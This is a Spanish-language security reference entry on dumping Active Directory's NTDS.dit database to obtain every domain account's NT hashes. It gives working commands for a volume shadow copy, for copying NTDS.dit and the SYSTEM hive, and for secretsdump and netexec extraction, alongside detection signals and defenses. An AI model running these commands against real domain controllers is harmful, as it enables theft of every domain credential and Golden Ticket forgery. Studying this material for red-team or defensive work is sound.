NTDS.dit Dump

El volcado del NTDS.dit extrae la base de datos de Active Directory, NTDS.dit, que contiene los hashes NT de todas las cuentas del dominio. Es el premio gordo de un compromiso de dominio: con esos hashes se puede suplantar a cualquier usuario, incluido el administrador y el krbtgt.

Por qué funciona. El Domain Controller guarda todo el directorio en C:\Windows\NTDS\NTDS.dit, con los hashes cifrados por una clave que está en la colmena SYSTEM. El fichero está bloqueado mientras AD corre, pero una copia de sombra de volumen (VSS) permite copiarlo sin bloqueo; con el NTDS.dit y el SYSTEM se descifra todo offline. A diferencia del DCSync, que pide los hashes por replicación sin tocar el disco, aquí se copia físicamente la base.

El abuso. En el DC se crea la instantánea, se copian los dos ficheros y se procesan; por red, con credenciales de administrador de dominio, netexec --ntds o secretsdump -just-dc hacen todo el flujo.

# en el DC: instantanea de volumen y copia de NTDS.dit + SYSTEM
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit
reg.exe save hklm\system system.save

# offline: descifrar todos los hashes del dominio
secretsdump.py -ntds ntds.dit -system system.save LOCAL

# por red, con admin de dominio
netexec smb <dc> -u <user> -p <pass> --ntds
secretsdump.py <domain>/<user>@<dc> -just-dc

Requisitos. Hace falta acceso administrativo al DC (Domain Admin, o privilegios que permitan crear la instantánea y leer los ficheros). Con la base entera se obtiene también el hash del krbtgt, la llave para un Golden Ticket.

Cómo detectarlo. Las señales de alta fidelidad son la creación de una instantánea de volumen (vssadmin/wmic shadowcopy, Event ID 8222 o registros de VSS) en un DC, el acceso a NTDS.dit fuera de un proceso de copia de seguridad legítimo, y la exportación de la colmena SYSTEM con reg save. Un volcado por red aparece además como conexión al ADMIN$ del DC y creación de servicio o tarea remota.

Defensa. Reducir al mínimo quién es Domain Admin y puede iniciar sesión en los DC, monitorizar la creación de instantáneas y el acceso a NTDS.dit, y separar los DC en un Tier 0 aislado. Ante un volcado confirmado hay que rotar credenciales de dominio, incluido dos veces el krbtgt. Es la versión "en disco" del DCSync y hermano del volcado de SAM/LSA a nivel local; su salida alimenta Pass-the-Hash y el cracking de hashes.